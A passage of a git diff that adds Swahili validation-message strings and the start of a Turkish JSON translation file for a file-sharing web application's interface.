moja kubwa na ndogo moja.', + 'numbers' => ':Attribute lazima iwe na angalau nambari moja.', + 'symbols' => ':Attribute lazima iwe na angalau ishara moja.', + 'uncompromised' => ':Attribute iliyotolewa imeonekana katika uvujaji wa data. Tafadhali chagua :attribute tofauti.', + ], + 'present' => 'Sehemu ya kipengele lazima iwepo.', + 'present_if' => 'Sehemu ya :attribute lazima iwepo wakati :other ni :value.', + 'present_unless' => 'Sehemu ya :attribute lazima iwepo isipokuwa :other ni :value.', + 'present_with' => 'Sehemu ya :attribute lazima iwepo wakati :values ​​ipo.', + 'present_with_all' => 'Sehemu ya :attribute lazima iwepo wakati :values ​​zipo.', + 'prohibited' => 'Ya :attribute uwanja ni marufuku.', + 'prohibited_if' => 'Ya :attribute uwanja ni marufuku wakati :other ni :value.', + 'prohibited_if_accepted' => 'Sehemu ya :attribute imepigwa marufuku wakati :other inakubaliwa.', + 'prohibited_if_declined' => 'Sehemu ya :attribute imepigwa marufuku wakati :other imekataliwa.', + 'prohibited_unless' => 'Ya :attribute uwanja ni marufuku isipokuwa :other ni katika :values.', + 'prohibits' => 'Kipengele :attribute kinakataza :other kuwepo/kuonyeshwa.', + 'regex' => 'Muundo wa kipengele si halali.', + 'required' => 'Sehemu ya kipengele inahitajika.', + 'required_array_keys' => 'Kipengele :attribute ni lazima kiwe na maingizo ya: :values.', + 'required_if' => 'Sehemu ya kipengele inahitajika wakati :other ni :value.', + 'required_if_accepted' => 'Sehemu ya :attribute inahitajika wakati :other inakubaliwa.', + 'required_if_declined' => 'Sehemu ya :attribute inahitajika wakati :other imekataliwa.', + 'required_unless' => 'Sehemu ya kipengele inahitajika isipokuwa :other ni katika :values.', + 'required_with' => 'Sehemu ya kipengele inahitajika wakati :values vipo.', + 'required_with_all' => 'Sehemu ya kipengele inahitajika wakati :values vipo.', + 'required_without' => 'Sehemu ya kipengele inahitajika wakati :values havipo.', + 'required_without_all' => 'Sehemu ya kipengele inahitajika wakati hakuna hata moja ya :values ipo.', + 'same' => 'Kipengele na :other lazima vilingane.', + 'size' => [ + 'array' => 'Kipengele lazima kiwe chenye :size ya kipimo.', + 'file' => 'Kipengele lazima kiwe :size cha kilobaiti.', + 'numeric' => 'Kipengele lazima kiwe :size.', + 'string' => 'Kipengele lazima kiwe :size cha herufi.', + ], + 'starts_with' => ':Attribute inapaswa kuanza na moja kati ya hizi zifuatazo: :values', + 'string' => 'Kipengele lazima kiwe herufi.', + 'timezone' => 'Kipengele lazima kiwe ukanda halali.', + 'ulid' => ':Attribute lazima iwe ULID halali.', + 'unique' => 'Kipengele tayari kimechukuliwa.', + 'uploaded' => ':Attribute imeshindwa kupakia.', + 'uppercase' => ':Attribute ni lazima iwe ya herufi kubwa.', + 'url' => 'Muundo wa kipengele si halali.', + 'uuid' => ':Attribute inapaswa kuwa UUID yako.', + 'attributes' => [ + 'address' => 'anwani', + 'affiliate_url' => 'URL mshirika', + 'age' => 'umri', + 'amount' => 'kiasi', + 'announcement' => 'tangazo', + 'area' => 'eneo', + 'audience_prize' => 'tuzo ya watazamaji', + 'audience_winner' => 'audience winner', + 'available' => 'inapatikana', + 'birthday' => 'siku ya kuzaliwa', + 'body' => 'mwili', + 'city' => 'mji', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'mkusanyiko', + 'concept' => 'dhana', + 'conditions' => 'masharti', + 'content' => 'maudhui', + 'contest' => 'contest', + 'country' => 'nchi', + 'cover' => 'kifuniko', + 'created_at' => 'imeundwa saa', + 'creator' => 'muumba', + 'currency' => 'sarafu', + 'current_password' => 'Nenosiri la sasa', + 'customer' => 'mteja', + 'date' => 'tarehe', + 'date_of_birth' => 'tarehe ya kuzaliwa', + 'dates' => 'tarehe', + 'day' => 'siku', + 'deleted_at' => 'imefutwa saa', + 'description' => 'maelezo', + 'display_type' => 'aina ya kuonyesha', + 'district' => 'wilaya', + 'duration' => 'muda', + 'email' => 'barua pepe', + 'excerpt' => 'dondoo', + 'filter' => 'chujio', + 'finished_at' => 'kumaliza saa', + 'first_name' => 'jina la kwanza', + 'gender' => 'jinsia', + 'grand_prize' => 'grand prize', + 'group' => 'kikundi', + 'hour' => 'saa', + 'image' => 'picha', + 'image_desktop' => 'picha ya desktop', + 'image_main' => 'picha kuu', + 'image_mobile' => 'picha ya simu', + 'images' => 'Picha', + 'is_audience_winner' => 'ni mshindi wa hadhira', + 'is_hidden' => 'imefichwa', + 'is_subscribed' => 'imesajiliwa', + 'is_visible' => 'inaonekana', + 'is_winner' => 'ni mshindi', + 'items' => 'vitu', + 'key' => 'ufunguo', + 'last_name' => 'jina la familia', + 'lesson' => 'somo', + 'line_address_1' => 'anwani ya mstari 1', + 'line_address_2' => 'anwani ya mstari 2', + 'login' => 'Ingia', + 'message' => 'ujumbe', + 'middle_name' => 'jina la kati', + 'minute' => 'dakika', + 'mobile' => 'rununu', + 'month' => 'mwezi', + 'name' => 'jina', + 'national_code' => 'kanuni za kitaifa', + 'number' => 'nambari', + 'password' => 'nenosiri', + 'password_confirmation' => 'uthibitisho wa nenosiri', + 'phone' => 'simu', + 'photo' => 'picha', + 'portfolio' => 'kwingineko', + 'postal_code' => 'msimbo wa posta', + 'preview' => 'hakikisho', + 'price' => 'bei', + 'product_id' => 'kitambulisho cha bidhaa', + 'product_uid' => 'bidhaa UID', + 'product_uuid' => 'bidhaa UUID', + 'promo_code' => 'msimbo wa matangazo', + 'province' => 'jimbo', + 'quantity' => 'wingi', + 'reason' => 'sababu', + 'recaptcha_response_field' => 'sehemu ya majibu ya recaptcha', + 'referee' => 'mwamuzi', + 'referees' => 'waamuzi', + 'region' => 'region', + 'reject_reason' => 'kukataa sababu', + 'remember' => 'kumbuka', + 'restored_at' => 'kurejeshwa saa', + 'result_text_under_image' => 'maandishi ya matokeo chini ya picha', + 'role' => 'jukumu', + 'rule' => 'kanuni', + 'rules' => 'kanuni', + 'second' => 'pili', + 'sex' => 'ngono', + 'shipment' => 'usafirishaji', + 'short_text' => 'maandishi mafupi', + 'size' => 'ukubwa', + 'skills' => 'ujuzi', + 'slug' => 'konokono', + 'specialization' => 'utaalamu', + 'started_at' => 'ilianza saa', + 'state' => 'jimbo', + 'status' => 'hali', + 'street' => 'mtaani', + 'student' => 'mwanafunzi', + 'subject' => 'somo', + 'tag' => 'tagi', + 'tags' => 'vitambulisho', + 'teacher' => 'mwalimu', + 'terms' => 'masharti', + 'test_description' => 'maelezo ya jaribio', + 'test_locale' => 'lugha', + 'test_name' => 'jina la jaribio', + 'text' => 'maandishi', + 'time' => 'wakati', + 'title' => 'kichwa', + 'type' => 'aina', + 'updated_at' => 'imesasishwa saa', + 'user' => 'mtumiaji', + 'username' => 'jina la mtumiaji', + 'value' => 'thamani', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'mwaka', + ], +]; diff --git a/lang/tr.json b/lang/tr.json new file mode 100644 index 00000000..026d8580 --- /dev/null +++ b/lang/tr.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName \":itemName\" dosyasını yükledi", + ":count accounts have this role": "Bu role sahip :count hesap var", + ":count awaiting approval": ":count onay bekliyor", + ":count downloads": ":count indirme", + ":count file deleted.|:count files deleted.": ":count dosya silindi.|:count dosya silindi.", + ":count file imported.|:count files imported.": ":count dosya içe aktarıldı.|:count dosya içe aktarıldı.", + ":count files": ":count dosya", + ":count folders": ":count klasör", + ":count items have been shared with you": "Sizinle :count öğe paylaşıldı", + ":count members": ":count üye", + ":count selected": ":count seçildi", + ":files files": ":files dosya", + ":itemName was shared with you": ":itemName sizinle paylaşıldı", + ":name will not be added to the group \":group\".": ":name, \":group\" grubuna eklenmeyecek.", + ":total total": "toplam :total", + ":used / :limit downloads": ":used / :limit indirme", + ":used MB of :quota MB used": ":quota MB'nin :used MB'si kullanıldı", + ":used MB used, no limit": ":used MB kullanıldı, sınır yok", + "(and :count more error)": "(ve :count hata daha var)", + "(and :count more errors)": "(ve :count hata daha var)|(ve :count hata daha var)|(ve :count hata daha var)", + "(deleted account)": "(silinmiş hesap)", + "0 means unlimited.": "0, sınırsız anlamına gelir.", + "A client account request was approved": "Bir müşteri hesabı başvurusu onaylandı", + "A client account request was denied": "Bir müşteri hesabı başvurusu reddedildi", + "A client left a group": "Bir müşteri gruptan ayrıldı", + "A client registered an account": "Bir müşteri hesap oluşturdu", + "A client requested to join a group": "Bir müşteri bir gruba katılmayı istedi", + "A client uploaded a file": "Bir müşteri dosya yükledi", + "A client was added to a group": "Bir müşteri gruba eklendi", + "A client was removed from a group": "Bir müşteri gruptan çıkarıldı", + "A decryption key is required.": "Bir şifre çözme anahtarı gerekiyor.", + "A file assignment was removed": "Bir dosya ataması kaldırıldı", + "A file has been shared with you": "Sizinle bir dosya paylaşıldı", + "A file or folder was shared with you": "Sizinle bir dosya veya klasör paylaşıldı", + "A file was assigned": "Bir dosya atandı", + "A file was deleted": "Bir dosya silindi", + "A file was downloaded": "Bir dosya indirildi", + "A file was downloaded via a public link": "Bir dosya herkese açık bağlantı üzerinden indirildi", + "A file was downloaded via the public group listing": "Bir dosya herkese açık grup listesi üzerinden indirildi", + "A file was updated": "Bir dosya güncellendi", + "A file was uploaded": "Bir dosya yüklendi", + "A folder cannot be moved into itself.": "Bir klasör kendi içine taşınamaz.", + "A folder has been shared with you": "Sizinle bir klasör paylaşıldı", + "A folder was created": "Bir klasör oluşturuldu", + "A folder was deleted": "Bir klasör silindi", + "A folder was moved": "Bir klasör taşındı", + "A folder was renamed": "Bir klasörün adı değiştirildi", + "A folder was shared": "Bir klasör paylaşıldı", + "A folder was unshared": "Bir klasörün paylaşımı kaldırıldı", + "A group membership request was approved": "Bir grup üyeliği başvurusu onaylandı", + "A group membership request was denied": "Bir grup üyeliği başvurusu reddedildi", + "A group membership was requested": "Bir grup üyeliği talep edildi", + "A group was created": "Bir grup oluşturuldu", + "A group was deleted": "Bir grup silindi", + "A group was updated": "Bir grup güncellendi", + "A new client account was created: :name (:email).": "Yeni bir müşteri hesabı oluşturuldu: :name (:email).", + "A new client has registered": "Yeni bir müşteri kaydoldu", + "A new ProjectSend version is available": "Yeni bir ProjectSend sürümü mevcut", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Herkese açık olarak işaretlediğiniz bir grubun sayfasına kendi bağlantısıyla her zaman ulaşılabilir — bu bölüm yalnızca temel adresi ve tüm herkese açık grupları ve dosyaları bir arada listeleyen isteğe bağlı dizini denetler.", + "A public link was created": "Herkese açık bir bağlantı oluşturuldu", + "A public link was revoked": "Herkese açık bir bağlantı iptal edildi", + "A role was created": "Bir rol oluşturuldu", + "A role was deleted": "Bir rol silindi", + "A role was updated": "Bir rol güncellendi", + "A Timeout Occurred": "Bir Zaman Aşımı Oluştu", + "About": "Hakkında", + "Accept": "Kabul etmek", + "Accepted": "Kabul Edilmiş", + "Account": "Hesap", + "Account deletion grace period (days)": "Hesap silinmeden önceki bekleme süresi (gün)", + "Account is active": "Hesap etkin", + "Account Manager": "Müşteri sorumlusu", + "Account request approved.": "Hesap başvurusu onaylandı.", + "Account request denied.": "Hesap başvurusu reddedildi.", + "Account requests": "Hesap başvuruları", + "Account settings": "Hesap ayarları", + "Account type": "Hesap türü", + "Accounts": "Hesaplar", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Bu zorunluluğun kapsadığı hesaplar, uygulamayı kullanmaya devam edebilmek için önce iki adımlı doğrulamayı kurmalıdır.", + "Action": "İşlem", + "Actions": "İşlemler", + "Activate": "Etkinleştir", + "Activated the account \":subject\"": "\":subject\" hesabını etkinleştirdi", + "Activating this account approves its pending request.": "Bu hesabı etkinleştirmek, ona bağlı bekleyen başvuruyu onaylar.", + "Active": "Etkin", + "Activity": "Etkinlik", + "Activity log": "Etkinlik kaydı", + "Add": "Ekle", + "Add :name": ":name ekle", + "Add a category": "Kategori ekle", + "Add a client": "Müşteri ekle", + "Add a second step to your login using an authenticator app.": "Bir kimlik doğrulama uygulamasıyla girişinize ikinci bir adım ekleyin.", + "Add new clients to this group": "Bu gruba yeni müşteriler ekle", + "Added \":member\" to the group \":subject\"": "\":member\" kişisini \":subject\" grubuna ekledi", + "Admin": "Yönetici", + "Admin notification recipients": "Yönetici bildirimlerinin alıcıları", + "Admin: client uploaded a file": "Yönetim: müşteri dosya yükledi", + "Admin: group membership requested": "Yönetim: grup üyeliği talep edildi", + "Admin: new client registered": "Yönetim: yeni müşteri kaydoldu", + "Administration": "Yönetim", + "After uploading you can assign it to clients and groups": "Yükledikten sonra müşterilere ve gruplara atayabilirsiniz", + "Agree": "Kabul etmek", + "All": "Tümü", + "All actions": "Tüm işlemler", + "All categories": "Tüm kategoriler", + "All clients": "Tüm müşteriler", + "All comments": "Tüm yorumlar", + "All failed jobs deleted.": "Başarısız işlerin tümü silindi.", + "All files": "Tüm dosyalar", + "All groups": "Tüm gruplar", + "All permissions": "Tüm izinler", + "All rights reserved.": "Tüm hakları saklıdır.", + "All roles": "Tüm roller", + "All statuses": "Tüm durumlar", + "All system users": "Tüm sistem kullanıcıları", + "All types": "Tüm türler", + "Already have an account?": "Zaten hesabınız var mı?", + "Already Reported": "Zaten Bildirildi", + "Always": "Her zaman", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Sizin için bir hesap oluşturuldu. Artık giriş yapabilirsiniz.", + "An account was activated": "Bir hesap etkinleştirildi", + "An account was created": "Bir hesap oluşturuldu", + "An account was deactivated": "Bir hesap devre dışı bırakıldı", + "An account was deleted": "Bir hesap silindi", + "An account was permanently erased": "Bir hesap kalıcı olarak silindi", + "An account was updated": "Bir hesap güncellendi", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Bir hesabı silen yöneticiye bu her seferinde sorulur; kendini silen hesapların otomatik olarak temizlenmesi gözetimsiz çalışır ve bu seçimi izler, böylece hiçbir şey sahipsiz kalmaz.", + "An administrator will review your group requests.": "Bir yönetici grup başvurularınızı inceleyecek.", + "An orphan file was deleted": "Sahipsiz bir dosya silindi", + "An orphan file was imported": "Sahipsiz bir dosya içe aktarıldı", + "An overview of this installation": "Bu kurulumun genel görünümü", + "Any audience": "Herhangi bir kitle", + "Anyone": "Herkes", + "Anyone using it will no longer be able to download the file.": "Onu kullanan hiç kimse dosyayı artık indiremeyecek.", + "Appearance": "Görünüm", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Ziyaretçilere açık grup ve dosya sayfaları ile \"Dosyalarım\" müşteri portalı için geçerlidir.", + "Apply filters": "Filtreleri uygula", + "Approve": "Onayla", + "Approve account requests": "Hesap başvurularını onaylama", + "Approve group membership requests": "Grup üyeliği başvurularını onaylama", + "Approved the account request of \":subject\"": "\":subject\" kişisinin hesap başvurusunu onayladı", + "Approved the membership of \":member\" to the group \":subject\"": "\":member\" kişisinin \":subject\" grubundaki üyeliğini onayladı", + "Archive": "Arşiv", + "Are deleted along with the account": "Hesapla birlikte silinir", + "Are reassigned to another account": "Başka bir hesaba devredilir", + "Are you sure you want to delete your account?": "Hesabınızı silmek istediğinizden emin misiniz?", + "Assign": "Atamak", + "Assign categories to files": "Dosyalara kategori atama", + "Assigned": "Atandı", + "Assigned clients": "Atanmış müşteriler", + "Assigned the file \":subject\" to :target": "\":subject\" dosyasını :target hedefine atadı", + "Associate": "İş arkadaşı", + "Attach": "İliştir", + "Audience": "Kitle", + "Authentication code": "Doğrulama kodu", + "Authentication requirements for this installation": "Bu kurulum için kimlik doğrulama gereksinimleri", + "Author": "Yazar", + "Available groups": "Kullanılabilir gruplar", + "Available placeholders": "Kullanılabilir yer tutucular", + "Back to My files": "Dosyalarım'a dön", + "Bad Gateway": "Geçersiz Ağ Geçidi", + "Bad Request": "Geçersiz istek", + "Bandwidth Limit Exceeded": "Bant Genişliği Sınırı Aşıldı", + "Blue": "Mavi", + "Body": "Mesaj metni", + "Browse": "Araştır", + "Browse publicly shared groups and files below.": "Herkese açık paylaşılan grup ve dosyalara aşağıdan göz atın.", + "Built-in": "Yerleşik", + "Built-in role names cannot be changed.": "Yerleşik rollerin adı değiştirilemez.", + "Built-in roles cannot be deleted.": "Yerleşik roller silinemez.", + "Call to action": "Eylem çağrısı", + "Cancel": "İptal et", + "Categories": "Kategoriler", + "Category": "Kategori", + "Category created.": "Kategori oluşturuldu.", + "Category deleted.": "Kategori silindi.", + "Category updated.": "Kategori güncellendi.", + "Changed their password": "Parolasını değiştirdi", + "Checkbox": "Onay kutusu", + "Checksum (SHA-256)": "Sağlama toplamı (SHA-256)", + "Choose": "Seç", + "Choose :name": ":name'u seçin", + "Choose an account…": "Bir hesap seçin…", + "Choose File": "Dosya Seç", + "Choose Image": "Resim Seç", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Hangi bildirimlerin size e-posta olarak da geleceğini seçin. Her şey zaten daima bildirim zilinde görünür.", + "Clear": "Temizle", + "Click to copy": "Kopyalamak için tıklayın", + "Client": "Müşteri", + "Client account approved": "Müşteri hesabı onaylandı", + "Client account denied": "Müşteri hesabı reddedildi", + "Client account edited": "Müşteri hesabı düzenlendi", + "Client Closed Request": "İstemci Kapandı İsteği", + "Client created.": "Müşteri oluşturuldu.", + "Client deleted.": "Müşteri silindi.", + "Client Manager": "Müşteri yöneticisi", + "Client settings": "Müşteri ayarları", + "Client updated.": "Müşteri güncellendi.", + "Client welcome (staff-created account)": "Müşteriye hoş geldiniz (ekip tarafından oluşturulan hesap)", + "Clients": "Müşteriler", + "Clients and groups that can download this file": "Bu dosyayı indirebilecek müşteriler ve gruplar", + "Clients asking to join groups": "Gruplara katılmak isteyen müşteriler", + "Clients who registered themselves and are waiting for approval": "Kendi kaydolan ve onay bekleyen müşteriler", + "Close": "Kapat", + "Collapse": "Yıkılmak", + "Collapse All": "Hepsini Daralt", + "Color": "Renk", + "Columns": "Sütunlar", + "Comment": "Yorum", + "Confirm": "Onayla", + "Confirm password": "Parolayı doğrula", + "Conflict": "Çakışma", + "Connect": "Bağlamak", + "Connection Closed Without Response": "Bağlantı Yanıtsız Kapatıldı", + "Connection Timed Out": "Bağlantı Zaman Aşımına Uğradı", + "Continue": "Devam Et", + "Copy URL": "Adresi kopyala", + "Copy link": "Bağlantıyı kopyala", + "Counters": "Sayaçlar", + "Create": "Oluştur", + "Create :name": ":name oluştur", + "Create a client account": "Müşteri hesabı oluştur", + "Create a public link": "Herkese açık bağlantı oluştur", + "Create a staff account for this installation": "Bu kurulum için ekip hesabı oluştur", + "Create administrator account": "Yönetici hesabı oluştur", + "Create an account for someone you share files with": "Dosya paylaştığınız biri için hesap oluşturun", + "Create categories": "Kategori oluşturma", + "Create category": "Kategori oluştur", + "Create client": "Müşteri oluştur", + "Create clients": "Müşteri oluşturma", + "Create custom assets": "Özel varlık oluşturma", + "Create field": "Alan oluştur", + "Create folder": "Klasör oluştur", + "Create group": "Grup oluştur", + "Create groups": "Grup oluşturma", + "Create link": "Bağlantı oluştur", + "Create own folders": "Kendi klasörlerini oluşturma", + "Create role": "Rol oluştur", + "Create system users": "Sistem kullanıcısı oluşturma", + "Create user": "Kullanıcı oluştur", + "Created": "Oluşturuldu", + "Created a public link for the file \":subject\"": "\":subject\" dosyası için herkese açık bağlantı oluşturdu", + "Created by": "Oluşturan", + "Created the account \":subject\"": "\":subject\" hesabını oluşturdu", + "Created the folder \":subject\"": "\":subject\" klasörünü oluşturdu", + "Created the group \":subject\"": "\":subject\" grubunu oluşturdu", + "Created the role \":subject\"": "\":subject\" rolünü oluşturdu", + "Custom": "Özel", + "Custom assets": "Özel varlıklar", + "Custom fields": "Özel alanlar", + "Custom links with an optional expiration date or download limit, no account needed.": "İsteğe bağlı son kullanma tarihi veya indirme sınırı olan, hesap gerektirmeyen size özel bağlantılar.", + "Custom roles let you grant a precise set of permissions": "Özel roller, tam olarak istediğiniz izin kümesini vermenizi sağlar", + "Custom SMTP": "Özel SMTP", + "Customize the wording of any transactional email sent by this installation.": "Bu kurulumun gönderdiği her işlem e-postasının metnini özelleştirin.", + "Customized": "Özelleştirilmiş", + "Dark": "Koyu", + "Dashboard": "Panel", + "Dashboard widgets": "Panel bileşenleri", + "Data retention and visibility for this installation": "Bu kurulumda veri saklama ve görünürlük", + "Database": "Veritabanı", + "Date": "Tarih", + "Days before a denied membership request can be made again": "Reddedilen bir üyelik başvurusunun yeniden yapılabilmesi için geçmesi gereken gün", + "Deactivate your account now; it is permanently erased after :days days": "Hesabınızı şimdi devre dışı bırakın; :days gün sonra kalıcı olarak silinir", + "Deactivated the account \":subject\"": "\":subject\" hesabını devre dışı bıraktı", + "Default": "Varsayılan", + "Defaults to the file name.": "Varsayılan olarak dosya adı kullanılır.", + "Delete": "Sil", + "Delete :name": ":name'u sil", + "Delete account": "Hesabı sil", + "Delete all": "Tümünü sil", + "Delete all failed": "Başarısızların tümünü sil", + "Delete all failed jobs?": "Başarısız işlerin tümü silinsin mi?", + "Delete categories": "Kategori silme", + "Delete category": "Kategoriyi sil", + "Delete category?": "Kategori silinsin mi?", + "Delete client": "Müşteriyi sil", + "Delete client?": "Müşteri silinsin mi?", + "Delete clients": "Müşteri silme", + "Delete custom assets": "Özel varlık silme", + "Delete field": "Alanı sil", + "Delete field?": "Alan silinsin mi?", + "Delete file": "Dosyayı sil", + "Delete file?": "Dosya silinsin mi?", + "Delete files": "Dosya silme", + "Delete folder": "Klasörü sil", + "Delete folder?": "Klasör silinsin mi?", + "Delete group": "Grubu sil", + "Delete group?": "Grup silinsin mi?", + "Delete groups": "Grup silme", + "Delete others' files": "Başkalarının dosyalarını silme", + "Delete own files": "Kendi dosyalarını silme", + "Delete role": "Rolü sil", + "Delete role?": "Rol silinsin mi?", + "Delete selected": "Seçilenleri sil", + "Delete selected files?": "Seçili dosyalar silinsin mi?", + "Delete system users": "Sistem kullanıcısı silme", + "Delete this file?": "Bu dosya silinsin mi?", + "Delete user": "Kullanıcıyı sil", + "Delete user?": "Kullanıcı silinsin mi?", + "Deleted account": "Silinmiş hesap", + "Deleted the account \":name\"": "\":name\" hesabını sildi", + "Deleted the file \":name\"": "\":name\" dosyasını sildi", + "Deleted the folder \":name\" and its contents": "\":name\" klasörünü ve içindekileri sildi", + "Deleted the group \":name\"": "\":name\" grubunu sildi", + "Deleted the orphan file \":name\"": "Sahipsiz \":name\" dosyasını sildi", + "Deleted the role \":name\"": "\":name\" rolünü sildi", + "Denied the account request of \":name\"": "\":name\" kişisinin hesap başvurusunu reddetti", + "Denied the membership of \":member\" to the group \":subject\"": "\":member\" kişisinin \":subject\" grubundaki üyeliğini reddetti", + "Deny": "Reddet", + "Deny this request?": "Bu başvuru reddedilsin mi?", + "Description": "Açıklama", + "Description (optional)": "Açıklama (isteğe bağlı)", + "Detach": "Ayırmak", + "Details": "Detaylar", + "Disable": "Devre Dışı Bırak", + "Disable two-factor authentication?": "İki adımlı doğrulama kapatılsın mı?", + "Disabled two-factor authentication": "İki adımlı doğrulamayı kapattı", + "Discard": "At", + "Discourage search engines from indexing this site": "Arama motorlarını bu siteyi dizine eklemekten caydır", + "Dismiss": "Kapat", + "Documentation": "Belgeler", + "Don't have an account?": "Hesabınız yok mu?", + "Done": "Tamamlamak", + "Down": "Aşağı", + "Download": "İndir", + "Download as zip": "ZIP olarak indir", + "Downloaded the file \":subject\"": "\":subject\" dosyasını indirdi", + "Downloaded the file \":subject\" via a public link": "\":subject\" dosyasını herkese açık bağlantı üzerinden indirdi", + "Downloaded the file \":subject\" via the public group listing": "\":subject\" dosyasını herkese açık grup listesi üzerinden indirdi", + "Downloads": "İndirmeler", + "Downloads are never recorded with an IP address.": "İndirmeler hiçbir zaman IP adresiyle birlikte kaydedilmez.", + "Drag to reorder": "Sıralamak için sürükleyin", + "Drag widgets here": "Bileşenleri buraya sürükleyin", + "Dropdown": "Açılır liste", + "Duplicate": "Kopyalamak", + "Duplicate :name": ":name kopyasını oluştur", + "Edit": "Düzenle", + "Edit :name": ":name'u düzenle", + "Edit categories": "Kategori düzenleme", + "Edit clients": "Müşteri düzenleme", + "Edit custom assets": "Özel varlık düzenleme", + "Edit email templates": "E-posta şablonu düzenleme", + "Edit groups": "Grup düzenleme", + "Edit others' files": "Başkalarının dosyalarını düzenleme", + "Edit own files": "Kendi dosyalarını düzenleme", + "Edit system settings": "Sistem ayarlarını düzenleme", + "Edit system users": "Sistem kullanıcısı düzenleme", + "Edit this client account": "Bu müşteri hesabını düzenle", + "Edit this staff account": "Bu ekip hesabını düzenle", + "Edition": "Sürüm", + "Email": "E-posta", + "Email address": "E-posta adresi", + "Email settings": "E-posta ayarları", + "Email template reset to default.": "E-posta şablonu varsayılan metne döndürüldü.", + "Email template saved.": "E-posta şablonu kaydedildi.", + "Email templates": "E-posta şablonları", + "Empty file": "Boş dosya", + "Enable": "Etkinleştir", + "Enable the public directory page": "Herkese açık dizin sayfasını etkinleştir", + "Enable two-factor authentication": "İki adımlı doğrulamayı etkinleştir", + "Enabled two-factor authentication": "İki adımlı doğrulamayı etkinleştirdi", + "Encrypted environment file already exists.": "Şifrelenmiş ortam değişkenleri dosyası zaten mevcut.", + "Encrypted environment file not found.": "Şifrelenmiş ortam değişkenleri dosyası bulunamadı.", + "Encryption": "Şifreleme", + "Enter one of your recovery codes.": "Kurtarma kodlarınızdan birini girin.", + "Enter the six-digit code from your authenticator app.": "Kimlik doğrulama uygulamanızdaki altı haneli kodu girin.", + "Enter your email and password below to log in": "Giriş yapmak için e-posta adresinizi ve parolanızı aşağıya girin", + "Environment": "Ortam", + "Environment file already exists.": "Ortam değişkenleri dosyası (.env) zaten mevcut.", + "Environment file not found.": "Ortam değişkenleri dosyası (.env) bulunamadı.", + "errors": "hatalar", + "Every comment on files you can see, newest first": "Görebildiğiniz dosyalardaki tüm yorumlar, en yenisi başta", + "Every download records the IP address of whoever downloaded it.": "Her indirmede, indiren kişinin IP adresi kaydedilir.", + "Everyone": "Herkes", + "Everything that happened on this installation, newest first": "Bu kurulumda olan biten her şey, en yenisi başta", + "Expand": "Genişletmek", + "Expand All": "Hepsini genişlet", + "Expectation Failed": "Beklenti Başarısız", + "Expires": "Sona eriyor", + "Expires :date": ":date tarihinde sona erer", + "Explanation": "Açıklama", + "Export": "İhracat", + "Export :name": "Export :name", + "Export CSV": "CSV dışa aktar", + "External storage": "Harici depolama", + "Extra fields shown on the client create and edit screens.": "Müşteri oluşturma ve düzenleme ekranlarında gösterilen ek alanlar.", + "Failed Dependency": "Başarısız Bağımlılık", + "Failed to send: :error": "Gönderilemedi: :error", + "File": "Dosya", + "File: :name": "Dosya: :name", + "File deleted.": "Dosya silindi.", + "File imported.": "Dosya içe aktarıldı.", + "File name": "Dosya adı", + "File shared with a client": "Bir müşteriyle paylaşılan dosya", + "File updated.": "Dosya güncellendi.", + "File uploaded.": "Dosya yüklendi.", + "Files": "Dosyalar", + "Files can only be assigned to clients or groups.": "Dosyalar yalnızca müşterilere veya gruplara atanabilir.", + "Files shared with you": "Sizinle paylaşılan dosyalar", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Diskte karşılık gelen bir kayıt olmadan duran dosyalar — yarıda kalan bir yüklemeden, bir geri yüklemeden ya da dosya sistemine elle yapılan bir müdahaleden.", + "Flat labels for files — independent of folders. A file can have several.": "Dosyalar için klasörlerden bağımsız düz etiketler. Bir dosyanın birden fazlası olabilir.", + "Folder": "Klasör", + "Folder: :name": "Klasör: :name", + "Folder created.": "Klasör oluşturuldu.", + "Folder deleted.": "Klasör silindi.", + "Folder shared with a client": "Bir müşteriyle paylaşılan klasör", + "Folders can only be shared with clients or groups.": "Klasörler yalnızca müşterilerle veya gruplarla paylaşılabilir.", + "Folders cannot be nested more than :max levels deep.": "Klasörler :max düzeyden daha derin iç içe olamaz.", + "Forbidden": "Yasak", + "Forgot password?": "Parolanızı mı unuttunuz?", + "Found": "Bulundu", + "From": "Kimden", + "From address": "Gönderen adresi", + "From name": "Gönderen adı", + "Gateway Timeout": "Ağ Geçidi Zaman Aşımı", + "General": "Genel", + "General settings": "Genel ayarlar", + "Go Home": "Anasayfaya Git", + "Go to page :page": ":Page sayfasına git", + "Go to the login form": "Giriş formuna git", + "Gone": "Gitmiş", + "Gray": "Gri", + "Green": "Yeşil", + "Group": "Grup", + "Group created.": "Grup oluşturuldu.", + "Group deleted.": "Grup silindi.", + "Group membership approved": "Grup üyeliği onaylandı", + "Group membership denied": "Grup üyeliği reddedildi", + "Group updated.": "Grup güncellendi.", + "Groups": "Gruplar", + "Groups clients can request to join at registration": "Müşterilerin kayıt sırasında katılmayı isteyebileceği gruplar", + "Groups let you assign files to several clients at once": "Gruplar, dosyaları tek seferde birden fazla müşteriye atamanızı sağlar", + "Hello :name,": "Merhaba :name,", + "Hello, :name": "Merhaba, :name", + "Hello!": "Merhaba!", + "Here is what has been shared with you": "Sizinle paylaşılanlar", + "Hide": "Saklamak", + "Hide :name": ":name'u gizle", + "Home": "Ev", + "Host": "Sunucu", + "How client accounts are created on this installation": "Bu kurulumda müşteri hesaplarının nasıl oluşturulduğu", + "How long a self-deleted account is kept before it is permanently erased.": "Sahibi tarafından silinen bir hesabın kalıcı olarak silinmeden önce ne kadar saklanacağı.", + "How many files/folders were shared at once": "Tek seferde kaç dosya/klasör paylaşıldığı", + "HTTP Version Not Supported": "HTTP Sürümü Desteklenmiyor", + "I'm a teapot": "Ben bir demliğim", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Silme işlemi çalıştığında bu hesap artık yoksa, dosyalar sahipsiz bırakılmak yerine silinir.", + "If you did not create an account, no further action is required.": "Bir hesap oluşturmadıysanız, başka bir işlem yapmanıza gerek yoktur.", + "If you did not request a password reset, no 